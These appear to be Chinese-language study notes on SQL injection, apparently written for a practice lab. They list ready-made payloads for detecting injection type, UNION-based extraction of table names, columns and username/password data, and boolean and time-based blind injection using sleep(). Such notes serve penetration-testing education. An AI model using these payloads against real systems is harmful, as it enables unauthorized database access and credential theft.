sql注入知识点
sql注入知识点
一.报错注入
1.判断类型–数字型 or 字符型
数字型判断:
1:输入id = x and 1=1
,若页面返回正常,进行下一步。
2:输入id = x and 1=2
, 若页面返回错误,说明sql注入为数字型。
字符型判断
1:输入id=x' and '1' ='1
,若页面返回正常,进行下一步。
2:输入id=x' and '1'='2
,若页面返回错误,说明为字符型。
3.其余类型有?id=1") and ("1")=("1
2.注释语句
注释语句是–加空格再加一个字符,如果是–+就不需要空格,+是url编码后的空格(post情况下例外)
3.基本语句
order by 4
判断有多少列
union select 1,2,3
判断数据显示点
union select 1,user(),database()
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),3
查看对应表有哪些列
union select 1,(select group_concat(username,password)from users),3
二,布尔盲注
1.适用情况
如果数据 不显示只有对错页面显示可以选择布尔盲注
2.基本原理函数
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
三.时间盲注
利用if(exp1,true,false)语句,形成有exp1成立,跳转延时原理对没有报错界面进行爆破注入
?id=1’ and if(1=1,sleep(5),1)–+
判断参数构造。
?id=1’and if(length((select database()))>9,sleep(5),1)–+
判断数据库名长度
?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+
逐一判断数据库字符
?id=1’and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1, 1),1)>13,sleep(5),1)–+
判断所有表名长度
?id=1’and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1, 1),1,1))>99,sleep(5),1)–+
逐一判断表名
四.报错函数语句注入
SQL注入-报错注入 | qwzf
五.DNS回显
当目标无显示位也无错误回显时便可使用此方法